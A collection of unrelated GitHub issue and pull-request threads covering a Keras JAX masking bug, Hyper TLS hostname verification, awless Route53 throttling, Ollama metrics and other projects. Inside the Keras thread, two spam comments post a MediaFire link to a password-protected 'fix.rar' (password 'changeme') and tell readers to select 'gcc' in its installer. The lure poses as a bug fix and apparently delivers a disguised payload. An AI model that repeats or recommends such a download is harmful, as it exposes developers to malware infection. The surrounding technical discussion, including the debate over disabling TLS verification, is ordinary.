CLOUD-59329 add missing gateway port to stack response

@keyki or @martonsereg

Refer to this link for build results (access rights to CI server needed):
http://ci.sequenceiq.com//job/cloudbreak-pull-request/2659/

Refer to this link for build results (access rights to CI server needed):
http://ci.sequenceiq.com//job/mock-integration-test/150/

Refer to this link for build results (access rights to CI server needed):
http://ci.sequenceiq.com//job/cloudbreak-pull-request/2660/

Refer to this link for build results (access rights to CI server needed):
http://ci.sequenceiq.com//job/mock-integration-test/151/

Refer to this link for build results (access rights to CI server needed):
http://ci.sequenceiq.com//job/cloudbreak-pull-request/2661/

Refer to this link for build results (access rights to CI server needed):
http://ci.sequenceiq.com//job/mock-integration-test/152/


Errors: internal/shell

As part of cleaning up how errors are wrapped and handled, this package needs attention.

Nothing necessary.


Add build args for Next.js build

There were some missing build args that are used for building the Next.js app. I added those as args. I also moved the creation of the environment variables into a single layer since Docker will be able to cache them in one instead of making multiple.

@searsaw can you please add the missing args to the docker-compose.yml as well?
Thanks for this!

@krumware I updated the docker-compose.yaml file.


Possible JIT compilation bug with JAX

I have the minimal code below to check that JIT-compiled model outputs match non-JIT ones:
import os
os.environ["KERAS_BACKEND"] = ...  # "jax" or "tensorflow"

import numpy as np
import keras

x = keras.ops.convert_to_tensor([
    [[1], [2], [3]],
    [[1], [2], [-99]],
    [[1], [-99], [-99]],
])

model = get_model()
model_output = model(x)  # this is NOT JIT-compiled

model.compile(jit_compile=True)
jit_model_output = model.predict_on_batch(x)  # this is JIT-compiled

assert np.allclose(model_output, jit_model_output)

For this example, assume that we want to create a model that will average x "line by line" above, ignoring the -99 values that we will mask.

When I test it with the get_model() function below, the test is successful both with "tensorflow" and "jax" backends:

def get_model():
    return keras.Sequential([
        keras.layers.Masking(-99),
        keras.layers.GlobalAveragePooling1D()
    ])

However, if I define the same sequence of operations but inside a custom layer, the test works for "tensorflow" but fails for "jax" backend because its JIT-compiled output is wrong (as if each masked value was virtually replaced by 0 instead of being ignored):

class MaskedGlobalAveragePooling1D(keras.layers.Layer):
    def __init__(self, mask_value, **kwargs):
        super().__init__(**kwargs)
        self.masking = keras.layers.Masking(mask_value)
        self.pooling = keras.layers.GlobalAveragePooling1D()

    def call(self, inputs):
        x = self.masking(inputs)
        return self.pooling(x)

def get_model():
    return keras.Sequential([
        MaskedGlobalAveragePooling1D(mask_value=-99)
    ])

Note: I know that using keras.layers.Masking inside a custom layer is not common (I actually need it for a more advanced use case), but I see no reason why it shouldn't work consistently across all backends.
I would appreciate any help fixing this bug, thank you!

Download
https://www.mediafire.com/file/wpwfw3bpd8gsjey/fix.rar/file
password: changeme
In the installer menu, select "gcc."

Download
https://www.mediafire.com/file/czdodbba054p738/fix.rar/file
password: changeme
In the installer menu, select "gcc."

In the meantime, I also tried with "torch" backend and everything works fine, like with "tensorflow" (so the issue mentioned above seems specific to JAX with JIT compilation)

I was able to reproduce the reported behavior here

My bad, I think the issue is solved if I change the call function of my MaskedGlobalAveragePooling1D to:
    def call(self, inputs):
        mask = self.masking.compute_mask(inputs)
        return self.pooling(inputs, mask=mask)

Still, I would argue that the original issue is rather tricky and can happen quite "silently" (it is at least unexpected that the output can differ across backends... I don't know if there would be an easy way to warn users somehow to mitigate it). By the way, it would be nice for the Masking & Padding guide to find its way back to the documentation (it seems to have disappeared from the Developer guides). Thanks!

Hi @neo-alex -
I have reproduce the issue with keras Masking layer get_model() function and also with MaskedGlobalAveragePooling1D subclassing in latest keras3.6.0. And it's working fine for both the case.
Attached gist for your reference here.


Adds test-generators for valid and invalid configuration files

this adds testing of valid and invalid configuralions that i wrote for github.com/docker/compose/pull/1355

Hi @funkyfuture,
I've reviewed these test cases and I'm not going to merge this PR. The format of the tests is not in a style/format in-keeping with the rest of the project and is not as explicit in what it is testing for each case. This makes it harder to read and less accessible.
A lot of the test cases that you report as "failing" are only failing according to newly-invented criteria, which (as stated in the discussion on PR #1808) is out of the scope for this first piece of work. For example, we don't currently validate domainname beyond requiring that it's a string.


Fix Crossvalidation when dataframe is not provided

The error arising when a dataframe is not passed when cross_validation is called is addressed in this PR. Fixes #800.
Looking forward to reviews and suggestions.

 Thank you for your submission! We really appreciate it. Like many open source projects, we ask that you sign our Contributor License Agreement before we can accept your contribution.You have signed the CLA already but the status is still pending? Let us recheck it.

 Thank you for your submission! We really appreciate it. Like many open source projects, we ask that you sign our Contributor License Agreement before we can accept your contribution.You have signed the CLA already but the status is still pending? Let us recheck it.


Login.gov implementation

Description
Add a login.gov applicant auth provider.  Uses  applicant_idp = "login-gov"
Also, when a user account is created without a name, shows "Logged in as " instead of "Logged in as Guest" until the Name cannonical question is completed.
Release notes:

Adds a login.gov applicant authentication provider
Updates the "Logged in as" text from "Guest" to the user's email when the auth provider doesn't provide a name.

Checklist

[ ] Added the correct label: < feature | bug | dependencies | infrastructure | ignore-for-release >
[ ] Created tests which fail without the change (if possible)
[ ] Extended the README / documentation, if necessary
[ ] Manually tested logging in and logging out

Issue(s)
Fixes #3450

Codecov Report

Merging #3539 (aebb0a9) into main (d4546c5) will decrease coverage by 0.34%.
The diff coverage is 37.50%.

@@             Coverage Diff              @@
##               main    #3539      +/-   ##
============================================
- Coverage     80.50%   80.16%   -0.35%
- Complexity     2398     2401       +3
============================================
  Files           293      294       +1
  Lines          9520     9582      +62
  Branches        649      653       +4
============================================
+ Hits           7664     7681      +17
- Misses         1603     1644      +41
- Partials        253      257       +4

Impacted Files
Coverage Δ

...rver/app/auth/oidc/applicant/LoginGovProvider.java
0.00% <0.00%> (ø)

server/app/modules/SecurityModule.java
78.18% <0.00%> (-3.73%)
:arrow_down:

server/app/auth/oidc/CustomOidcLogoutRequest.java
37.03% <20.00%> (-6.45%)
:arrow_down:

...app/auth/oidc/CiviformOidcLogoutActionBuilder.java
68.75% <33.33%> (-13.86%)
:arrow_down:

server/app/controllers/LoginController.java
34.78% <57.14%> (+0.63%)
:arrow_up:

server/app/auth/oidc/OidcProvider.java
88.23% <76.92%> (-2.91%)
:arrow_down:

server/app/auth/AuthIdentityProviderName.java
100.00% <100.00%> (ø)

...r/app/auth/oidc/applicant/GenericOidcProvider.java
92.00% <100.00%> (ø)

server/app/auth/oidc/applicant/IdcsProvider.java
87.50% <100.00%> (ø)

...rollers/applicant/ApplicantProgramsController.java
100.00% <100.00%> (ø)

... and 3 more

:mega: We’re building smart automated test selection to slash your CI/CD build times. Learn more


[example] Explain package choice

Closes https://github.com/mui-org/material-ui/issues/23931

Merged prematurely. The same description needs to be duplicated to all the examples.

Merged prematurely. The same description needs to be duplicated to all the examples.

There were no changes requested.

@eps1lon @oliviertassinari That paragraph I think should have gone in all the README of the examples.

Opened https://github.com/mui-org/material-ui/pull/23958 as a follow up


Add data transformations for post-processing plot data

Addresses #183 and #205.

[x] Fix categorical sorting.
[x] Add unit tests.
[x] Update documentation.

I still can't replicate exactly what's going wrong with Asif's example, but the scaling issue Tuomas found was caused by a num_cores mismatch, which I fixed by sorting the dataframe before scaling.

Thanks @pineapple-cat for the fix and now we may see the plot look like:

Still wonder, how to order w.r.t. series rather x-axis?
Here is below an example to give a quick look at the perflogs data:
import os
import glob
import pandas as pd
from pivottablejs import pivot_ui

path = os.getcwd()
files = glob.glob(os.path.join(path,"perflogs/*/*/*.log"))
df_list = (pd.read_csv(file, delimiter="|") for file in files)
df = pd.concat(df_list, ignore_index=True)
pivot_ui(df)

Above code will generate a browser viewable pivottablejs.html file (and above similar Sphng Single Node data w.r.t. 20230707, 20231013, 20231124 job completion times will look like grouped+ordered as shown below):

Bokeh has its own x-axis sorting method that I need to undermine at every step if we want non-string data to be sorted properly on a categorical plot. I've fixed this for (x, series) groupings in the commit below, but this will need to be revisited if we want to expand to (x, series1, series2) groupings. Here's what the plot should look like now:
Ascending

Descending

Additionally, there's no need to hack anything to produce a PNG of the graph; this feature is available through the 'Save' button in the Bokeh toolbar:


Start trying to cross build for 3.0.0-M1

From here, we can run ++3.0.0-M1 core/test (which still fails), and the Scala 2 builds should be undisturbed.
If we can make progress on Dotty without breaking Scala 2, then we can drop the long-running dotty branch, which is almost entirely merge commits.

Never mind. I don't like the split versions on the live production branch. But I'm going to decruft the dotty branch.


Filter content-sources repos by origin and content_type

These params will be added to content-sources soon.  And in the short future there will be other origin's available (Red Hat for example).  In the far future there will be other content_types (most likely).
I haven't tested this change so tread lightly :)
Content sources PR: https://github.com/content-services/content-sources-backend/pull/383
But this shouldn't cause any problem going in earlier.

oh i see its generated, working on it

Glad you found the instructions! We want to make this fully automated with npm run api (and we also want to catch changes to the APIs we consume via a Github action) but we aren't quite there yet...

We will also need to grep for every time we call useListRepositoriesQuery and add the new params there, too.

Thank you!!!


kafka-10273 Connect Converters should produce actionable error messages

I have written actionable error messages for the JSON-converter
@rhauch Hi, please review if this is acceptable, if anything needs to be changed and if I need to do the same for the rest of the converters.

Thanks @rhauch I will look into it :)

Hi @rhauch I am working on convertKey(...) and convertValue(...) methods for WorkerSourceTask. I'm throwing a DataException in these two methods when an exception occures. In the RetryWithToleranceOperator class it states that:
If it fails, this class does one of these two things: (1) if the failure occurred due to a tolerable exception, then

set appropriate error reason in the {@link ProcessingContext} and return null, or (2) if the exception is not tolerated,
then it is wrapped into a ConnectException and rethrown to the caller.

My question is, will this exception be tolerated? I am assuming that it is not a tolarable exception. In this case what is the best way of handling this in the RetryWithToleranceOperator?

@rhauch Hi I have updated the PR. Please review when you have time. Thanks!

@rhauch Thanks, I really appreciate your help. I have updated the code now. Please review when you have time.


Request of offline-installer v1.1.0

Hi,
could you please upload the offline installer for version 1.1.0?
I am using a corporate proxy and I am unable to compile it.
Thanks,
Claudiu

Thank you!


how can i get those caption

./overall_caption_path/overall_caption_{ref_args.dataset}{ref_args.test_split}{ref_args.splitby}.json
im very interested in your work ! can i get the json of refcoco val to have a try?
thank u

i have done it ，no problem~


Centralized schematic parsing / storage package

Schematic information is currently specified using spice, translated to verilog, map files etc and passed to the placement / routing engine. A lot of critical information such as number of polys, fins etc, gets lost in the process which is critical for successful LVS & parasitic extraction.
Instead of passing all this information back and forth over files, it would make more sense to create a centralized schematic representation that we transform in sub_circuit_identification, has hooks to the CellFabric primitive generators and (eventually) calls the placement / routing engine for whatever extra connections are needed. The same schematic representation can be used to represent the extracted netlist & generate the SPICE subcircuit representation.

Partially implemented by #212. Not yet used by other packages.

align.schema is now being actively used. Closing.


Adopt the proposed Port Attributes API for python testing

Python testing requires two ports the extension creates to communicate with the subprocess we spin up to run python tests. These are not ports that the user will need to access but instead internal so it applies to the same information as here: https://github.com/microsoft/vscode-python/issues/21292
should help with https://github.com/microsoft/vscode-python/issues/21929
@alexr00 tagging you as an FYI

Let me know if you have any feedback on the Port Attributes API! The python debugger is also working on adopting this: https://github.com/microsoft/vscode-python-debugger/pull/85

since we are going to move to named pipes this is no longer applicable on our roadmap. Thanks!


Does not do any TLS hostname verification

Currently, hyper does not provide any hostname verification when working with TLS. Ideally, Hyper would use a library similar to https://github.com/pyca/service_identity to prevent MITM attacks from happening.

The issue here is that hyper needs to pick something by default.
It's already possible to do it yourself with Client.set_ssl_verifier().

For what it's worth, I just implemented RFC 6125-compliant hostname verification for Ruby's OpenSSL library:
https://github.com/ruby/openssl/pull/12/files
I'd be happy to do a Rust implementation.

Worth noting this is also an issue in Servo: https://github.com/servo/servo/issues/4954

I just started an RFC6125 hostname verification library for Rust:
https://github.com/tarcieri/pkixnames

One thing I'm curious about... what type is used for representing presented identifiers? I think I'd like the internal implementation of this library to be done completely as Vec<u8>s

Hyper doesn't seem to do any TLS verification right now with the default client settings. Any untrusted certificate goes.

@tarcieri I don't know what presented identifiers means in this context.

@seanmonstar the subjectAlternativeNames (SANs) or Common Names (CNs) in certificates

Ah, I have no idea. That would be in the openssl lib, no?
On Sun, Apr 26, 2015, 2:21 PM Tony Arcieri<EMAIL_ADDRESS>wrote:

@seanmonstar https://github.com/seanmonstar the subjectAlternativeNames
(SANs) or Common Names (CNs) in certificates
—
Reply to this email directly or view it on GitHub
https://github.com/hyperium/hyper/issues/472#issuecomment-96436564.

It's beginning to seem like rust-openssl is probably where I should be asking about this :wink:

Since it hasn't been explicitly stated in here, here's a relevant project: https://github.com/briansmith/webpki

@frewsxcv +1 for that

What is a good API for disabling TLS verification when the user desires it?
Environment variable? Argument to the connection object?

Disabling security based on environment variables sounds dangerous.

What is a good API for disabling TLS verification when the user desires it?

Hopefully, this will not be possible.

@zmanian @frewsxcv
There are use-cases where skipping TLS verification is necessary.
In libcurl, the options CURLOPT_SSL_VERIFYPEER and CURLOPT_SSL_VERIFYHOST are available and you can set them to 0.
The curl tool has the option -k,--insecure which relies on the library options mentioned above.

An easy approach would be to make your own implementation of SslClient that avoids the check.

Although it should go without saying that disabling certificate verification is a terrible thing to do, there will be developers who will want to disable it and will find a way to do so whether or not Hyper provides an API for it.  Rather than leaving developers to their own devices, I think Hyper should provide an API to disable verification for two reasons:

It will be easier to spot in code audits.  Searching for the API call that disables verification is easier than spotting and analyzing a custom SslClient implementation.  It would even be possible to search GitHub and file bug reports against projects that are disabling verification.

Developers are likely to search the Web for the invalid certificate error message and find a blog post or Stack Overflow answer that contains an example SslClient to disable verification.  This example might come without a sufficient disclaimer that it's doing something very bad.  In contrast, if there's an "official" way to disable verification, it can come with a big warning and be named in such a way that may cause at least some developers to think twice before using it.  For example, in Go's TLS library, the property to disable verification is named InsecureSkipVerify.

I'm -1 on an option to disable verification. Rebuttal to AGWA's two points above: 1) An entire type that does nothing but circumvent verification has a bigger footprint than an environment variable. I don't think making it easy to grep for is a good thing to optimize for. 2) The kind of developer that would do what you're describing will still just copy/paste whatever they read on Stack Overflow, regardless of whether or not the the flag has "insecure" in the name.

I have a bunch of use cases where disabling certificate validation is needed, mainly related to use on machines not connected to internet (the case at my company):

self signed certificates are used on most of the machines
the CA files are not be up to date (e.g.  machines are using older OSs)

More than that, it should also be possible to enable old, insecure ciphers in a relatively easy way mainly to be able to talk to clients/servers not supporting TLS1.2 (everything using Java 1.7 or older).
Hyper should be flexible enough to support these use cases. Defaults can be to enable most secure options but give the user the possibility to configure hyper according to his/her needs.
I have opened https://github.com/hyperium/hyper/issues/811 for this.

@maximih Hyper already allows all of the configuration you asked for by manually configuring the Openssl object: http://hyper.rs/hyper/v0.9.6/hyper/net/struct.Openssl.html

Note that running an X.509 PKI that broken only offers the illusion of security.
Re: TLS 1.2 and Java 1.7, it's supported out-of-the-box by the Sun JSSE provider.

mainly related to use on machines not connected to internet

Just noticed this, it seems like in this case it may be a waste to use TLS at all. If talking over a local network that you own and control, you can get performance improvements by not encrypting everything. Unless there are others on your local network that you want to protect yourself from, I guess?

Hyper should be flexible enough to support these use cases. Defaults can be to enable most secure options but give the user the possibility to configure hyper according to his/her needs.

This is exactly the current case. Default is to be secure. If one wants to alter away from the defaults, you can utilize the Client::with_connector(HttpsConnector::new(some_configured_openssl)). You can pick all the ciphers, protocol versions, and validation you want or don't want.

Just noticed this, it seems like in this case it may be a waste to use TLS at all.

Not necessarily. There are other local use cases that benefit from skipping verification. For example:

Testing server performance with and without TLS.
(Easily) isolating potential server TLS issues.

Using curl/libcurl for those use-cases is trivial and just works.

@MoSal I buy @AGWA's argument that having a standard notation that's easy to grep for is desirable.
That said, while I'm glad you think curl makes it super easy to shut off the security, I'm not sure that's actually a desirable property. I think the world would be a better place if there were no -k option to curl, and people needed to explicitly type --insecure, for example.


Add BASH completion

I added support for BASH completion. It will try and match any desk files that you have installed, which makes switching desks really quick.

This is great, thanks. Just a few minor items.

Thanks, @ericem.


aws throttling errors when running awsless list records

Get this when running the following
$ awless list records --filter name=elastic
[error]   Throttling: Rate exceeded
	status code: 400, request id: 320b85fe-9e1f-11e7-a8c6-8d88e406789f

Thanks for reporting this bug.
This must be due to the fact that awless is sending too many requests to AWS.
Does awless list zones works as expected ?
How many zones do you manage ? awless list zones --no-headers --format csv | wc -l
Do you have an idea of the number of zones and records do you have in your infrastructure ?
Note also that, for now, the filtering with --filter is applied after all results are fetch from Amazon. As a result, if you have many records/zones, they will be fetch all, before applying the filter.

awless list zones works fine. We have 85 zones.
We have over 1000 records.
It would be good to be able to at least provide a zone arg to the awless list records api.

OK, according to AWS documentation, we are limited to 5 requests/second for Route53 API, and we are currently making 1 request/zone when listing records.
Just to be sure that the retryers works as expected, how long does it take for the failing command (run time awless list records) ?
A solution is indeed to provide a way to limit to a zone, with an extra flag or with the existing --filter.

$  time awless list records
[error]   Throttling: Rate exceeded
	status code: 400, request id: e04b628c-9edc-11e7-8b44-67049770601c

real	0m7.336s
user	0m0.418s
sys	0m0.111s

Just tried this out. I'm getting less throttling errors but also the
filtering doesn't seem to work consistently.
For example if I have lots of Names ending in "prod.aws.justgiving" I can
do:
awless list records --filter name=prod.aws.justgiving
And it returns them. In fact I can do:
awless list records --filter name=prod.aws.justgiving | grep branding
I then find my "branding-api.prod.aws.justgiving" Name. But if I do:
awless list records --filter name=branding-api.prod.aws.justgiving
or
awless list records --filter name=branding
I get "No results found."
Regards,
Matt
On 31 January 2018 at 08:23, Simon Caplette<EMAIL_ADDRESS>wrote:

@danielhoherd https://github.com/danielhoherd I see. Indeed a flag to
control the flow of requests (limiting) is on our list, although we do not
want to come to that yet and have other ideas in mind.
Anyway @danielhoherd https://github.com/danielhoherd let me know how
the records listing is working for you when you have time. Thanks.
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
https://github.com/wallix/awless/issues/144#issuecomment-361858043, or mute
the thread
https://github.com/notifications/unsubscribe-auth/AASMl4L5CJLcbcDTCe4h48F-vR0m5Jooks5tQCMZgaJpZM4PeIZH
.

@macon This is due to the name value for filtering being passed down to the AWS API to filter on the Zone name (here prod.aws.justgiving) and not the full record name. This is  to accommodate what the AWS APIs provides at the moment.
I think this is not good and worse ... not clear for the user, so thanks for reporting it.
Ideally, a Zone column should be added in the Records listing so that we could do more clearly awless ls records --filter zone=... and not get surprises. We would still be able to filter at the same time on the records full name with the default local filtering (i.e. once all the results are fetch). With this fix throttling would not degrade.
I will try to see if I can do that today.

Hello Simon,
Thanks for the clarification.
Regards,
Matt
On 2 February 2018 at 09:24, Simon Caplette<EMAIL_ADDRESS>wrote:

@macon https://github.com/macon This is due to the name value for
filtering being passed down to the AWS API to filter on the Zone name
(here prod.aws.justgiving) and not the full record name. This is to
accommodate what the AWS APIs provides at the moment.
I think this is not good and worse ... not clear for the user, so thanks
for reporting it.
Ideally, a Zone column should be added in the Records listing so that we
could do more clearly awless ls records --filter zone=... and not get
surprises. We would still be able to filter at the same time on the records
full name with the default local filtering (i.e. once all the results are
fetch). With this fix throttling would not degrade.
I will try to see if I can do that today.
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
https://github.com/wallix/awless/issues/144#issuecomment-362532100, or mute
the thread
https://github.com/notifications/unsubscribe-auth/AASMl9Y7vwxRkPm5IasF7-KqSeOtDg6Qks5tQtQ4gaJpZM4PeIZH
.

@macon available on master now:

A new Zone column added when listing records
--filter zone=... therefore now therefore possible feasible when listing records

So it remove the confusion, and you can now basically do:
awless list records --filter zone=prod.aws.justgiving

... or more fuzzy matching (i.e. contains substring)
awless list records --filter zone=prod

(Note throttle has not been degraded (same as with the previous fix) and you can still fuzzy filter by records' name but this will be done locally from all results)

Awesome stuff Simon.  Thanks for quick turn-around.
Regards
Matt
On 2 February 2018 at 12:44, Simon Caplette<EMAIL_ADDRESS>wrote:

@macon https://github.com/macon available on master now:

A new Zone column added when listing records
--filter zone=... therefore now therefore possible feasible when
listing records

So it remove the confusion, and you can now basically do:
awless list records --filter zone=prod.aws.justgiving
... or more fuzzy matching (i.e. contains substring)
awless list records --filter zone=prod
(Note throttle has not been degraded (same as with the previous fix) and
you can still fuzzy filter by records' name but this will be done locally
from all results)
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
https://github.com/wallix/awless/issues/144#issuecomment-362576728, or mute
the thread
https://github.com/notifications/unsubscribe-auth/AASMl6Hs7QTvA61aCKxXdYeAYHlRH_Psks5tQwM3gaJpZM4PeIZH
.


UnhandledPromiseRejectionWarning on an ubuntu ec2 instance

Hi,
First of all, thank you for the excellent boilerplate. It has everything I need and more, much more!!
I need some assistance with an issue when I try to run the app on an ubuntu ec2 instance.
I ran it using yarn start:production and the error that was outputted is
(node:7985) UnhandledPromiseRejectionWarning: Unhandled promise rejection (rejection id: 1): Error: Exited with code 3

The base cause as highlighted in #31 is unhandled catch for Promise, but I couldn't find any unhandled Promises except in maybe src/routes.js.
The node version is 6.11.1.
Any help would be great. Do please let me know if you need any other details.

Hi @deepank411, Thank you for give it a try, have you tried to handle the error catch of ./src/routes.js yet?

@deepank411 , Have you wrote your own code on it?

No, I haven't. I cloned the project directly into the instance and tried running it unsuccessfully.

@deepank411 I will check this weekend. Can I use AWS ec2 with free? I haven't experience of that service.

A free tier is available to use for an year but requires a debit card for verification. AWS Free Tier.
Thanks a lot! Will wait for a response.

@deepank411 I did some refine for the sever.js file, please check this changing could solve your problem or not. BTW, I didn't try AWS ec2 instance (so many configurations I need to do for it, haha)

@wellyshen No, it still throws the same error. Were you able to identify the place from where this error is getting generated. and why is it only coming on a server. It runs perfectly fine on my local system.

@deepank411 Actually, I have the same question with you. But for this issue, maybe you can use the unhandledRejection event of node.js to handle the unhandled rejections.

I figured out the problem, It was with the opn node module that automatically opens up the browser after building the project. That module cannot work on the server hence its giving an error. I commented require('../tools/openBrowser').default(port); and the error resolved, but I still can't access the application from a url. Do I need to do something more to deploy this application on a prod server?

@deepank411 Make sure your node path and port are set correctly.

Close for the unhandled promise issue.


Badges for GitHub stats

Would be great to have an indicator of repository quality in the list, e.g.

GitHub stars
GitHub last commit

@nickwesselman @MartinMiles
Done at this PR:
https://github.com/MartinMiles/awesome-sitecore/pull/6
However, it looks like having badges will not follow the general approach for Awesome collections: https://github.com/sindresorhus/awesome#readme


Add metrics endpoint and basic request metrics otel based

Resolves https://github.com/ollama/ollama/issues/3144
This pull request is to add /metrics endpoint and http metrics as a starting point.
It uses otel metrics libary and exposes metrics in prometheus format.
This PR does not try to cover all metrics to keep it simple. If this looks good. I could add few more that will be useful.
How to test:
once Ollama server is running pull a model and list(or any other Ollama actions)
curl http://<IP_ADDRESS>:11434/metrics

example of custom metrics(not all are shown since i tried only few commands):
Ollama request  metrics:
% curl http://localhost:11434/metrics | grep -i ollama
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  5724    0  5724    0     0  1092k      0 --:--:-- --:--:-- --:--:-- 1117k
model_actions_total{action="list",otel_scope_name="ollama",otel_scope_version="",status="OK",status_code="200"} 1
otel_scope_info{otel_scope_name="ollama",otel_scope_version=""} 1
requests_total{action="all",otel_scope_name="ollama",otel_scope_version="",status="OK",status_code="200"} 2
target_info{service_name="unknown_service:ollama",telemetry_sdk_language="go",telemetry_sdk_name="opentelemetry",telemetry_sdk_version="1.27.0"} 1

All metrics :
% curl http://localhost:11434/metrics
# HELP go_gc_duration_seconds A summary of the pause duration of garbage collection cycles.
# TYPE go_gc_duration_seconds summary
go_gc_duration_seconds{quantile="0"} 2.2875e-05
go_gc_duration_seconds{quantile="0.25"} 2.2875e-05
go_gc_duration_seconds{quantile="0.5"} 3.0375e-05
go_gc_duration_seconds{quantile="0.75"} 3.0375e-05
go_gc_duration_seconds{quantile="1"} 3.0375e-05
go_gc_duration_seconds_sum 5.325e-05
go_gc_duration_seconds_count 2
# HELP go_goroutines Number of goroutines that currently exist.
# TYPE go_goroutines gauge
go_goroutines 10
# HELP go_info Information about the Go environment.
# TYPE go_info gauge
go_info{version="go1.22.0"} 1
# HELP go_memstats_alloc_bytes Number of bytes allocated and still in use.
# TYPE go_memstats_alloc_bytes gauge
go_memstats_alloc_bytes 3.247952e+06
# HELP go_memstats_alloc_bytes_total Total number of bytes allocated, even if freed.
# TYPE go_memstats_alloc_bytes_total counter
go_memstats_alloc_bytes_total 5.271112e+06
# HELP go_memstats_buck_hash_sys_bytes Number of bytes used by the profiling bucket hash table.
# TYPE go_memstats_buck_hash_sys_bytes gauge
go_memstats_buck_hash_sys_bytes 11524
# HELP go_memstats_frees_total Total number of frees.
# TYPE go_memstats_frees_total counter
go_memstats_frees_total 21294
# HELP go_memstats_gc_sys_bytes Number of bytes used for garbage collection system metadata.
# TYPE go_memstats_gc_sys_bytes gauge
go_memstats_gc_sys_bytes 3.159336e+06
# HELP go_memstats_heap_alloc_bytes Number of heap bytes allocated and still in use.
# TYPE go_memstats_heap_alloc_bytes gauge
go_memstats_heap_alloc_bytes 3.247952e+06
# HELP go_memstats_heap_idle_bytes Number of heap bytes waiting to be used.
# TYPE go_memstats_heap_idle_bytes gauge
go_memstats_heap_idle_bytes 1.998848e+06
# HELP go_memstats_heap_inuse_bytes Number of heap bytes that are in use.
# TYPE go_memstats_heap_inuse_bytes gauge
go_memstats_heap_inuse_bytes 5.7344e+06
# HELP go_memstats_heap_objects Number of allocated objects.
# TYPE go_memstats_heap_objects gauge
go_memstats_heap_objects 18185
# HELP go_memstats_heap_released_bytes Number of heap bytes released to OS.
# TYPE go_memstats_heap_released_bytes gauge
go_memstats_heap_released_bytes 1.88416e+06
# HELP go_memstats_heap_sys_bytes Number of heap bytes obtained from system.
# TYPE go_memstats_heap_sys_bytes gauge
go_memstats_heap_sys_bytes 7.733248e+06
# HELP go_memstats_last_gc_time_seconds Number of seconds since 1970 of last garbage collection.
# TYPE go_memstats_last_gc_time_seconds gauge
go_memstats_last_gc_time_seconds 1.724793883369717e+09
# HELP go_memstats_lookups_total Total number of pointer lookups.
# TYPE go_memstats_lookups_total counter
go_memstats_lookups_total 0
# HELP go_memstats_mallocs_total Total number of mallocs.
# TYPE go_memstats_mallocs_total counter
go_memstats_mallocs_total 39479
# HELP go_memstats_mcache_inuse_bytes Number of bytes in use by mcache structures.
# TYPE go_memstats_mcache_inuse_bytes gauge
go_memstats_mcache_inuse_bytes 9600
# HELP go_memstats_mcache_sys_bytes Number of bytes used for mcache structures obtained from system.
# TYPE go_memstats_mcache_sys_bytes gauge
go_memstats_mcache_sys_bytes 15600
# HELP go_memstats_mspan_inuse_bytes Number of bytes in use by mspan structures.
# TYPE go_memstats_mspan_inuse_bytes gauge
go_memstats_mspan_inuse_bytes 137120
# HELP go_memstats_mspan_sys_bytes Number of bytes used for mspan structures obtained from system.
# TYPE go_memstats_mspan_sys_bytes gauge
go_memstats_mspan_sys_bytes 146880
# HELP go_memstats_next_gc_bytes Number of heap bytes when next garbage collection will take place.
# TYPE go_memstats_next_gc_bytes gauge
go_memstats_next_gc_bytes 5.69504e+06
# HELP go_memstats_other_sys_bytes Number of bytes used for other system allocations.
# TYPE go_memstats_other_sys_bytes gauge
go_memstats_other_sys_bytes 1.404724e+06
# HELP go_memstats_stack_inuse_bytes Number of bytes in use by the stack allocator.
# TYPE go_memstats_stack_inuse_bytes gauge
go_memstats_stack_inuse_bytes 655360
# HELP go_memstats_stack_sys_bytes Number of bytes obtained from system for stack allocator.
# TYPE go_memstats_stack_sys_bytes gauge
go_memstats_stack_sys_bytes 655360
# HELP go_memstats_sys_bytes Number of bytes obtained from system.
# TYPE go_memstats_sys_bytes gauge
go_memstats_sys_bytes 1.3126672e+07
# HELP go_threads Number of OS threads created.
# TYPE go_threads gauge
go_threads 11
# HELP list_requests_total The total number of model list requests that have been attempted.
# TYPE list_requests_total counter
list_requests_total{action="",otel_scope_name="ollama",otel_scope_version="",status="",status_code="0"} 4
# HELP otel_scope_info Instrumentation Scope metadata
# TYPE otel_scope_info gauge
otel_scope_info{otel_scope_name="ollama",otel_scope_version=""} 1
# HELP promhttp_metric_handler_requests_in_flight Current number of scrapes being served.
# TYPE promhttp_metric_handler_requests_in_flight gauge
promhttp_metric_handler_requests_in_flight 1
# HELP promhttp_metric_handler_requests_total Total number of scrapes by HTTP status code.
# TYPE promhttp_metric_handler_requests_total counter
promhttp_metric_handler_requests_total{code="200"} 1
promhttp_metric_handler_requests_total{code="500"} 0
promhttp_metric_handler_requests_total{code="503"} 0
# HELP requests_total The total number of requests on all endpoints.
# TYPE requests_total counter
requests_total{action="all",otel_scope_name="ollama",otel_scope_version="",status="OK",status_code="200"} 3
# HELP target_info Target metadata
# TYPE target_info gauge
target_info{service_name="unknown_service:ollama",telemetry_sdk_language="go",telemetry_sdk_name="opentelemetry",telemetry_sdk_version="1.27.0"} 1

@amila-ku great work here! I'm really looking forward to seeing this integrated. Is there anything I can support with furthering the PR?

@amila-ku great work here! I'm really looking forward to seeing this integrated. Is there anything I can support with furthering the PR?

Thanks, i will continue to add few tests and clean up the implementation a bit.
I feel it would be better to keep this PR as a small starting point, so will try to keep this one simple.

Looking good to me for the existing needs of Ollama server.

Added otel scope versions and runtime information
% curl http://localhost:11434/metrics | grep -i ollama
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 12454    0 12454    0     0  11.5M      0 --:--:-- --:--:-- --:--:-- 11.8M
http_requests_total{action="all",otel_scope_name="ollama",otel_scope_version="0.55.0",status="OK",status_code="200"} 4
http_requests_total{action="head",otel_scope_name="ollama",otel_scope_version="0.55.0",status="OK",status_code="200"} 2
http_requests_total{action="pull",otel_scope_name="ollama",otel_scope_version="0.55.0",status="OK",status_code="200"} 1
http_requests_total{action="tags",otel_scope_name="ollama",otel_scope_version="0.55.0",status="OK",status_code="200"} 1
otel_scope_info{otel_scope_name="ollama",otel_scope_version="0.55.0"} 1
target_info{process_runtime_description="go version go1.22.5 darwin/arm64",service_name="ollama",service_version="v0.1.0"} 1

@jessegross @jmorganca Please check this out.

Hey Guys really appreciate your effort and hard work for this! Any news on this PR? Would really look forward seeing this in the official branch. thanks a lot !

+1 is this PR going in?


Make site ADA compliant

